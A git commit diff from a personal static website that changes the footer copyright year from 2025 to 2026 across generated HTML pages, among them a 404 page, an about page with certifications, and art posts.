This commit is contained in:
lavafroth
2026-01-01 02:10:54 +00:00
parent 2f5c5fa5d7
commit b154dd2bdd
211 changed files with 359 additions and 1238 deletions

View File

@@ -1 +1 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>404 Page not found - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><h1 class=title-404>404</h1></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>404 Page not found - lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><h1 class=title-404>404</h1></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -16,4 +16,4 @@ consider contributing to them or donating.</p><p>Thank you to all the institutio
organizations such as <a href=https://khanacademy.org>Khan Academy</a>,
who provide <a href=https://en.wikipedia.org/wiki/OpenCourseWare>OpenCourseWare</a> and make education accessible.</p><h2 id=certifications>Certifications</h2><p>Petty things recruiters seem to care about.</p><p><a href=https://summerofcode.withgoogle.com/programs/2024/projects/qkFDwSOk><img src=../completion_certificate_2024_contributor.png alt="Google Summer of Code 2024"></a></p><p><a href=https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-6X9OWVY0HI.png><img src=https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-6X9OWVY0HI.png alt="TryHackMe Advent Of Cyber 2020 Certificate"></a></p><p><a href=https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-HOXLPGFBZN.png><img src=https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-HOXLPGFBZN.png alt="TryHackMe Advent Of Cyber 2021 Certificate"></a></p><p><a href="https://certificates.cs50.io/c7c6fbaa-40da-4c14-846d-d4fd01c1bd6f.png?size=letter"><img src="https://certificates.cs50.io/c7c6fbaa-40da-4c14-846d-d4fd01c1bd6f.png?size=letter" alt="Harvard CS50 2022 Certificate"></a></p><p><a href="https://certificates.cs50.io/fba1bdc0-0604-4623-8224-17b2bd9ee5db.png?size=letter"><img src="https://certificates.cs50.io/fba1bdc0-0604-4623-8224-17b2bd9ee5db.png?size=letter" alt="Harvard CS50 AI 2022 Certificate"></a></p><p><a href=https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-deep-learning><img src=../intro-to-deep-learning.png alt="Intro to Deep Learning Kaggle Certificate"></a></p><p><a href=https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-machine-learning><img src=../intro-to-machine-learning.png alt="Intro to Machine Learning Kaggle Certificate"></a></p><p><a href=https://www.kaggle.com/learn/certification/himadribhattacharjee/intermediate-machine-learning><img src=../intermediate-machine-learning.png alt="Intermediate Machine Learning Kaggle Certificate"></a></p><p><a href=https://www.kaggle.com/learn/certification/himadribhattacharjee/intro-to-game-ai-and-reinforcement-learning><img src=../intro-to-game-ai-and-reinforcement-learning.png alt="Intro to Game AI and Reinforcement Learning"></a></p><h2 id=send-me-a-private-message>Send me a private message</h2><p>You can send me a private message by encrypting it with my
<a href=https://api.github.com/users/lavafroth/keys>public SSH keys</a>
and mailing it to <a href=mailto:107522312+lavafroth@users.noreply.github.com>107522312+lavafroth@users.noreply.github.com</a>.</p></section><footer class=post-tags data-pagefind-meta=tags></footer></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
and mailing it to <a href=mailto:107522312+lavafroth@users.noreply.github.com>107522312+lavafroth@users.noreply.github.com</a>.</p></section><footer class=post-tags data-pagefind-meta=tags></footer></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -6,4 +6,4 @@ jumpscare.'><meta name=author content><link rel="preload stylesheet" as=style hr
quality of the sculpt. I&rsquo;m still pretty much in the learning stage. Big thank
you to <a href=https://www.pexels.com/@nichole-sebastian-1592975/>Nichole Sebastian</a>
for the reference photo. Also apologies if the empty eye sockets gave you a
jumpscare.</p><img src=../../nichole-sebastian-render-0.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
jumpscare.</p><img src=../../nichole-sebastian-render-0.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1 +1 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Drowning - lavafroth</title><meta name=description content='A cyborg head sinking in a pool of water. What more did you expect? Here&rsquo;s a timelapse.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jun 18, 2024</p><h1>Drowning</h1></hgroup><section class=post-content><p>A cyborg head sinking in a pool of water. What more did you expect? <a href="https://www.youtube.com/watch?v=lVbPXxq0xzg">Here&rsquo;s a timelapse</a>.</p><img src=../../drowning.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Drowning - lavafroth</title><meta name=description content='A cyborg head sinking in a pool of water. What more did you expect? Here&rsquo;s a timelapse.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jun 18, 2024</p><h1>Drowning</h1></hgroup><section class=post-content><p>A cyborg head sinking in a pool of water. What more did you expect? <a href="https://www.youtube.com/watch?v=lVbPXxq0xzg">Here&rsquo;s a timelapse</a>.</p><img src=../../drowning.avif style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -9,4 +9,4 @@ or remixing them.</p></section><article><h2>✨</h2><br><img src=../sparkles.png
<a href=https://lavafroth.is-a.dev/art/thiserror/ aria-label="This Error" class=post-link></a></article><article><h2>Throwing knives</h2><br><img src=../throwing-knives.avif style=border-radius:1rem>
<a href=https://lavafroth.is-a.dev/art/wip-animation/ aria-label="Throwing knives" class=post-link></a></article><article><h2>Truce</h2><br><img src=../truce.avif style=border-radius:1rem>
<a href=https://lavafroth.is-a.dev/art/tyler-joseph-portrait/ aria-label=Truce class=post-link></a></article><article><h2>She's a Rebel</h2><br><img src=../shes-a-rebel.png style=border-radius:1rem>
<a href=https://lavafroth.is-a.dev/art/shes-a-rebel/ aria-label="She's a Rebel" class=post-link></a></article></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/art/shes-a-rebel/ aria-label="She's a Rebel" class=post-link></a></article></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1 +1 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>She's a Rebel - lavafroth</title><meta name=description content='Clearly the title was an afterthought.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Apr 17, 2022</p><h1>She's a Rebel</h1></hgroup><section class=post-content><p>Clearly the title was an afterthought.</p><img src=../../shes-a-rebel.png style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>She's a Rebel - lavafroth</title><meta name=description content='Clearly the title was an afterthought.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Apr 17, 2022</p><h1>She's a Rebel</h1></hgroup><section class=post-content><p>Clearly the title was an afterthought.</p><img src=../../shes-a-rebel.png style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1 +1 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>✨ - lavafroth</title><meta name=description content><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jul 15, 2025</p><h1></h1></hgroup><section class=post-content><img src=../../sparkles.png style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>✨ - lavafroth</title><meta name=description content><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jul 15, 2025</p><h1></h1></hgroup><section class=post-content><img src=../../sparkles.png style=border-radius:1rem></section></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a 